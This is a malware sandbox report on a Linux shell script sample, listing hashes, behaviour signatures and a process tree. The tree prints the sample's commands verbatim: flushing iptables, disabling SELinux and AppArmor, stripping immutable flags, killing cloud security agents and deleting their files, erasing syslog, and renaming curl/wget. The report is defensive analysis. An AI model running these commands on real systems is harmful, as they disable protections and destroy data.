Analysis
- max time kernel
143s - max time network
139s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem - submitted
13/09/2026, 17:42
Static task
static1
Behavioral task
behavioral1
Sample
1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh
Resource
debian9-mipsel-20260513-en
General
- Target 1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh
- Size 845KB
- Sample260913-v91azabl4s
- SHA256 5366dbec88d547b24d3673593331ead29bc87447fb688b494f9e604699e5f25c
- MD5 8f15aff4f18fa30fff48546c55ab0451
- SHA1 946110201a5e3d2715efa73ba04894fa34a38090
- SHA512 e2c80fc2e6474b38e03990854e951958d66e4a116cb967890fb54b18a70c60854eb33bb02ea9b3e3c9b465f273606d1105cfcf033b17afb1a911465fb43b2e18
- SSDEEP 24576:n4Y/f/tir8ZLQbdyUHiw5y3dSkohUv2653DmIfke0:l/o8ZatHiw5ycMVmKke0
- TLSH T14A052348E11B8C78ED4E3C8CE49EEFDD192420A28B55E1471A65346EBE347DC806B75F
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Adds new SSH keys 1 TTPs 1 IoCs
Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.
description ioc Process File opened for modification /root/.ssh/authorized_keys bash - File and Directory Permissions Modification 1 TTPs 9 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 2574 Process not Found 2577 Process not Found 2539 Process not Found 2545 Process not Found 2568 Process not Found 743 chmod 745 chmod 746 chmod 2542 Process not Found - Disables AppArmor Mandatory Access Control 1 TTPs 64 IoCs
Stops or disables AppArmor via systemctl, removing mandatory access control restrictions on process capabilities and file access.
pid Process 2175 Process not Found 2307 Process not Found 2298 Process not Found 842 systemctl 846 systemctl 2291 Process not Found 2278 Process not Found 2301 Process not Found 819 systemctl 840 systemctl 812 systemctl 2168 Process not Found 2313 Process not Found 2183 Process not Found 2165 Process not Found 2165 Process not Found 2289 Process not Found 2153 Process not Found 2162 Process not Found 2144 Process not Found 2172 Process not Found 2278 Process not Found 2152 Process not Found 2170 Process not Found 2176 Process not Found 2278 Process not Found 2312 Process not Found 2154 Process not Found 2164 Process not Found 2293 Process not Found 833 systemctl 2156 Process not Found 2144 Process not Found 2165 Process not Found 2165 Process not Found 2314 Process not Found 2179 Process not Found 784 systemctl 784 systemctl 848 systemctl 2155 Process not Found 2157 Process not Found 2163 Process not Found 2308 Process not Found 827 systemctl 2147 Process not Found 2158 Process not Found 2144 Process not Found 2160 Process not Found 2180 Process not Found 2298 Process not Found 2298 Process not Found 2174 Process not Found 2181 Process not Found 832 systemctl 784 systemctl 2144 Process not Found 2316 Process not Found 812 systemctl 2177 Process not Found 2178 Process not Found 2278 Process not Found 2309 Process not Found 784 systemctl - Executes dropped EXE 1 IoCs
ioc pid Process /etc/zzh 2573 bash - Flushes firewall rules 1 TTPs 6 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 2585 Process not Found 2587 Process not Found 749 iptables 2581 Process not Found 2582 Process not Found 2583 Process not Found - Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
description ioc Process File opened for modification /etc/resolv.conf bash - Creates/modifies Cron job 1 TTPs 4 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /etc/cron.daily/logrotate bash File opened for modification /etc/cron.hourly/0anacron bash File opened for modification /etc/cron.d/zzh bash File opened for modification /etc/crontab bash -
description ioc Process File truncated /var/log/wtmp bash File truncated /var/log/secure bash -
pid Process 1141 kill 1141 kill 1294 grep 1718 grep 783 setenforce 1141 kill 1406 grep 1738 grep 1141 kill 1141 kill 1141 kill - Enumerates running processes
Discovers information about currently running processes on the system
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
description ioc Process File opened for modification /etc/rc.d/rc.local bash - Removes the immutable protection flag from a file 1 TTPs 64 IoCs
Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.
pid Process 965 chattr 1453 xargs 1710 xargs 1882 Process not Found 757 chattr 1874 Process not Found 945 xargs 1306 xargs 1366 xargs 1537 xargs 1842 Process not Found 2155 Process not Found 2331 Process not Found 1083 xargs 1241 xargs 1592 xargs 1846 Process not Found 2562 Process not Found 940 xargs 971 chattr 1423 xargs 1720 xargs 1765 xargs 1824 Process not Found 1902 Process not Found 2537 Process not Found 782 grep 1251 xargs 1852 Process not Found 1880 Process not Found 2233 Process not Found 1206 xargs 1266 xargs 1438 xargs 1690 xargs 2229 Process not Found 2478 Process not Found 955 xargs 1009 xargs 1261 xargs 1325 xargs 1035 xargs 1286 xargs 1792 xargs 1186 xargs 1276 xargs 1311 xargs 1639 xargs 1774 xargs 2185 Process not Found 1388 xargs 859 xargs 1211 xargs 1383 xargs 1428 xargs 1770 xargs 1069 xargs 1097 xargs 1580 xargs 1822 Process not Found 1176 xargs 1196 xargs 1834 Process not Found 2084 Process not Found - Write file to user bin folder 6 IoCs
description ioc Process File opened for modification /usr/bin/ip6network bash File opened for modification /usr/bin/kswaped bash File opened for modification /usr/bin/irqbalanced bash File opened for modification /usr/bin/rctlcli bash File opened for modification /usr/bin/systemd-network bash File opened for modification /usr/bin/pamdicks bash - Writes file to system bin folder 6 IoCs
description ioc Process File opened for modification /bin/pstree bash File opened for modification /bin/pstree Process not Found File opened for modification /bin/ps bash File opened for modification /bin/ps Process not Found File opened for modification /bin/top bash File opened for modification /bin/top Process not Found - Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs
Adversaries may deobfuscate or decode files or information to evade detection mechanisms.
pid Process 727 base64 - Discovers running processes 1 TTPs 64 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 902 ps 1116 ps 1212 ps 1326 ps 1429 ps 1474 ps 1147 ps 1187 ps 1302 ps 1317 ps 2323 Process not Found 936 ps 1167 ps 1502 ps 2318 Process not Found 916 ps 1126 ps 1701 ps 931 ps 1242 ps 1377 ps 1449 ps 1533 ps 1696 ps 1111 ps 1297 ps 1341 ps 1464 ps 1691 ps 1307 ps 1480 ps 941 ps 956 ps 1367 ps 1399 ps 869 ps 926 ps 1157 ps 1287 ps 1676 ps 1152 ps 1247 ps 893 ps 1197 ps 1336 ps 1351 ps 1444 ps 1459 ps 1652 ps 1172 ps 1414 ps 854 ps 1182 ps 1485 ps 1634 ps 1384 ps 1454 ps 1523 ps 1569 ps 921 ps 1202 ps 1292 ps 1538 ps 1136 ps - Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found - Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found -
description ioc Process File opened for reading /proc/20/status ps File opened for reading /proc/3/cmdline ps File opened for reading /proc/71/status ps File opened for reading /proc/72/stat ps File opened for reading /proc/79/cmdline ps File opened for reading /proc/1/status ps File opened for reading /proc/1712/status ps File opened for reading /proc/713/cmdline Process not Found File opened for reading /proc/416/cmdline ps File opened for reading /proc/24/stat ps File opened for reading /proc/14/cmdline Process not Found File opened for reading /proc/5/cmdline Process not Found File opened for reading /proc/711/status Process not Found File opened for reading /proc/11/status Process not Found File opened for reading /proc/234/status ps File opened for reading /proc/712/status ps File opened for reading /proc/679/status ps File opened for reading /proc/234/status ps File opened for reading /proc/75/stat ps File opened for reading /proc/70/status ps File opened for reading /proc/1702/cmdline ps File opened for reading /proc/23/status Process not Found File opened for reading /proc/679/status Process not Found File opened for reading /proc/4/status Process not Found File opened for reading /proc/713/cmdline Process not Found File opened for reading /proc/7/cmdline ps File opened for reading /proc/self/fd xargs File opened for reading /proc/17/status Process not Found File opened for reading /proc/1873/status Process not Found File opened for reading /proc/720/status Process not Found File opened for reading /proc/11/status Process not Found File opened for reading /proc/2338/status Process not Found File opened for reading /proc/948/status ps File opened for reading /proc/160/status ps File opened for reading /proc/126/cmdline ps File opened for reading /proc/21/cmdline ps File opened for reading /proc/340/stat ps File opened for reading /proc/11/cmdline Process not Found File opened for reading /proc/24/cmdline ps File opened for reading /proc/77/stat ps File opened for reading /proc/680/cmdline Process not Found File opened for reading /proc/677/cmdline Process not Found File opened for reading /proc/176/cmdline ps File opened for reading /proc/674/cmdline ps File opened for reading /proc/13/stat ps File opened for reading /proc/1600/status ps File opened for reading /proc/109/cmdline ps File opened for reading /proc/1746/cmdline ps File opened for reading /proc/7/cmdline ps File opened for reading /proc/5/cmdline ps File opened for reading /proc/393/cmdline Process not Found File opened for reading /proc/368/status Process not Found File opened for reading /proc/16/stat ps File opened for reading /proc/416/stat ps File opened for reading /proc/11/cmdline ps File opened for reading /proc/79/status ps File opened for reading /proc/367/status pgrep File opened for reading /proc/filesystems Process not Found File opened for reading /proc/18/status ps File opened for reading /proc/self/maps awk File opened for reading /proc/711/cmdline ps File opened for reading /proc/filesystems systemctl File opened for reading /proc/22/stat ps File opened for reading /proc/20/cmdline ps - System Network Configuration Discovery 1 TTPs 7 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 971 chattr 1289 grep 1319 grep 1535 grep 2044 Process not Found 2588 Process not Found 965 chattr - Writes file to tmp directory 9 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/kdevtmpfsi bash File opened for modification /tmp/svcupdate bash File opened for modification /tmp/fileutl.message.IU7DxR Process not Found File opened for modification /tmp/fileutl.message.py6Weg Process not Found File opened for modification /tmp/fileutl.message.sxIv5D Process not Found File opened for modification /tmp/tmp.tyAhf3fBgN/embedded.sh bash File opened for modification /tmp/dev/null bash File opened for modification /tmp/svcguard bash File opened for modification /tmp/fileutl.message.Lsx4Hu Process not Found
Processes
-
/tmp/1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh/tmp/1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh1⤵PID:715
-
/usr/local/sbin/bashbash /tmp/1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh1⤵PID:715
-
/usr/local/bin/bashbash /tmp/1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh1⤵PID:715
-
/usr/sbin/bashbash /tmp/1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh1⤵PID:715
-
/usr/bin/bashbash /tmp/1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh1⤵PID:715
-
/sbin/bashbash /tmp/1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh1⤵PID:715
-
/bin/bashbash /tmp/1bf4fcd6d035805d44b5ae7ec67860911ed4c43f94e827c988992d0587d1ab40_pre-append.sh1⤵
- Writes file to tmp directory
PID:715 -
/bin/mktempmktemp -d2⤵PID:723
-
-
/usr/bin/python3python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "2⤵PID:728
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
PID:727
-
-
/bin/chmodchmod +x /tmp/tmp.tyAhf3fBgN/embedded.sh2⤵
- File and Directory Permissions Modification
PID:743
-
-
/bin/bashbash /tmp/tmp.tyAhf3fBgN/embedded.sh1⤵
- Adds new SSH keys
- Executes dropped EXE
- Writes DNS configuration
- Creates/modifies Cron job
- Deletes log files
- Modifies rc script
- Write file to user bin folder
- Writes file to system bin folder
- Writes file to tmp directory
PID:715 -
/bin/chmodchmod 777 /usr/bin/chattr2⤵
- File and Directory Permissions Modification
PID:745
-
-
/bin/chmodchmod 777 /bin/chattr2⤵
- File and Directory Permissions Modification
PID:746
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵PID:747
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:748
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:749
-
-
/usr/bin/chattrchattr -iae /root/.ssh/2⤵PID:754
-
-
/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵PID:755
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵PID:756
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵
- Removes the immutable protection flag from a file
PID:757
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:758
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:759
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:760
-
-
/bin/rmrm -rf /var/log/syslog2⤵PID:761
-
-
/bin/syncsync2⤵PID:763
-
-
/bin/catcat /var/spool/cron/2⤵PID:764
-
-
/bin/catcat /root/.ssh/authorized_keys2⤵PID:765
-
-
/bin/mvmv /usr/bin/wgettnt /usr/bin/wd12⤵PID:766
-
-
/bin/mvmv /usr/bin/curltnt /usr/bin/cd12⤵PID:767
-
-
/bin/mvmv /usr/bin/wget1 /usr/bin/wd12⤵PID:768
-
-
/bin/mvmv /usr/bin/curl1 /usr/bin/cd12⤵PID:769
-
-
/bin/mvmv /usr/bin/cur /usr/bin/cd12⤵PID:770
-
-
/bin/mvmv /usr/bin/cdl /usr/bin/cd12⤵PID:771
-
-
/bin/mvmv /usr/bin/cdt /usr/bin/cd12⤵PID:772
-
-
/bin/mvmv /usr/bin/xget /usr/bin/wd12⤵PID:773
-
-
/bin/mvmv /usr/bin/wge /usr/bin/wd12⤵PID:774
-
-
/bin/mvmv /usr/bin/wdl /usr/bin/wd12⤵PID:775
-
-
/bin/mvmv /usr/bin/wdt /usr/bin/wd12⤵PID:776
-
-
/bin/mvmv /usr/bin/wget /usr/bin/wd12⤵PID:777
-
-
/bin/mvmv /usr/bin/curl /usr/bin/cd12⤵PID:778
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:779
-
-
/bin/grepgrep -i "[a]liyun"2⤵PID:780
-
-
/bin/grepgrep -i "[y]unjing"2⤵
- Removes the immutable protection flag from a file
PID:782
-
-
/bin/psps aux2⤵PID:781
-
-
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
PID:783
-
-
/usr/sbin/serviceservice apparmor stop2⤵PID:784
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:785
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:786
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵PID:787
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵
- Enumerates kernel/hardware configuration
PID:789
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵PID:790
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵PID:791
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Enumerates kernel/hardware configuration
PID:792
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵PID:793
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:794
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Enumerates kernel/hardware configuration
PID:795
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Enumerates kernel/hardware configuration
PID:796
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:797
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵PID:798
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵PID:800
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵PID:802
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Enumerates kernel/hardware configuration
PID:805
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Enumerates kernel/hardware configuration
PID:807
-
-
-
/usr/local/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:784
-
-
/usr/local/bin/systemctlsystemctl stop apparmor.service2⤵PID:784
-
-
/usr/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:784
-
-
/usr/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:784
-
-
/sbin/systemctlsystemctl stop apparmor.service2⤵PID:784
-
-
/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:784
-
-
/bin/systemctlsystemctl disable apparmor2⤵
- Enumerates kernel/hardware configuration
PID:810
-
-
/usr/sbin/serviceservice aliyun.service stop2⤵PID:812
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:814
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:815
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
PID:817
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵PID:820
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵
- Disables AppArmor Mandatory Access Control
PID:819
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
PID:825
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:827
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵PID:829
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:832
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:833
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵PID:836
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:837
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:840
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:842
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵PID:844
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Disables AppArmor Mandatory Access Control
PID:846
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:848
-
-
-
/usr/local/sbin/systemctlsystemctl stop aliyun.service.service2⤵PID:812
-
-
/usr/local/bin/systemctlsystemctl stop aliyun.service.service2⤵PID:812
-
-
/usr/sbin/systemctlsystemctl stop aliyun.service.service2⤵PID:812
-
-
/usr/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
PID:812
-
-
/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
PID:812
-
-
/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Enumerates kernel/hardware configuration
PID:812
-
-
/bin/systemctlsystemctl disable aliyun.service2⤵
- Enumerates kernel/hardware configuration
PID:851
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:854
-
-
/bin/grepgrep -v grep2⤵PID:855
-
-
/bin/grepgrep aegis2⤵PID:856
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:858
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:859
-
-
/bin/grepgrep -v grep2⤵PID:862
-
-
/bin/psps aux2⤵PID:861
-
-
/bin/grepgrep Yun2⤵PID:863
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:864
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:865
-
-
/bin/grepgrep -v grep2⤵PID:870
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
PID:869
-
-
/bin/grepgrep aegis2⤵PID:871
-
-
/usr/bin/awkawk "{print \$11}"2⤵PID:872
-
-
/usr/bin/xargsxargs dirname2⤵PID:873
-
/usr/local/sbin/dirnamedirname3⤵PID:878
-
-
/usr/local/bin/dirnamedirname3⤵PID:878
-
-
/usr/sbin/dirnamedirname3⤵PID:878
-
-
/usr/bin/dirnamedirname3⤵PID:878
-
-
-
/usr/bin/xargsxargs rm -rf2⤵PID:875
-
/usr/local/sbin/rmrm -rf3⤵PID:881
-
-
/usr/local/bin/rmrm -rf3⤵PID:881
-
-
/usr/sbin/rmrm -rf3⤵PID:881
-
-
/usr/bin/rmrm -rf3⤵PID:881
-
-
/sbin/rmrm -rf3⤵PID:881
-
-
/bin/rmrm -rf3⤵PID:881
-
-
-
/bin/grepgrep -v grep2⤵PID:883
-
-
/bin/grepgrep hids2⤵PID:884
-
-
/bin/psps aux2⤵PID:882
-
-
/usr/bin/awkawk "{print \$11}"2⤵PID:885
-
-
/usr/bin/xargsxargs dirname2⤵PID:886
-
/usr/local/sbin/dirnamedirname3⤵PID:890
-
-
/usr/local/bin/dirnamedirname3⤵PID:890
-
-
/usr/sbin/dirnamedirname3⤵PID:890
-
-
/usr/bin/dirnamedirname3⤵PID:890
-
-
-
/usr/bin/xargsxargs rm -rf2⤵PID:887
-
/usr/local/sbin/rmrm -rf3⤵PID:892
-
-
/usr/local/bin/rmrm -rf3⤵PID:892
-
-
/usr/sbin/rmrm -rf3⤵PID:892
-
-
/usr/bin/rmrm -rf3⤵PID:892
-
-
/sbin/rmrm -rf3⤵PID:892
-
-
/bin/rmrm -rf3⤵PID:892
-
-
-
/bin/grepgrep -v grep2⤵PID:894
-
-
/bin/grepgrep cloudwalker2⤵PID:895
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:893
-
-
/usr/bin/awkawk "{print \$11}"2⤵PID:896
-
-
/usr/bin/xargsxargs dirname2⤵PID:897
-
/usr/local/sbin/dirnamedirname3⤵PID:900
-
-
/usr/local/bin/dirnamedirname3⤵PID:900
-
-
/usr/sbin/dirnamedirname3⤵PID:900
-
-
/usr/bin/dirnamedirname3⤵PID:900
-
-
-
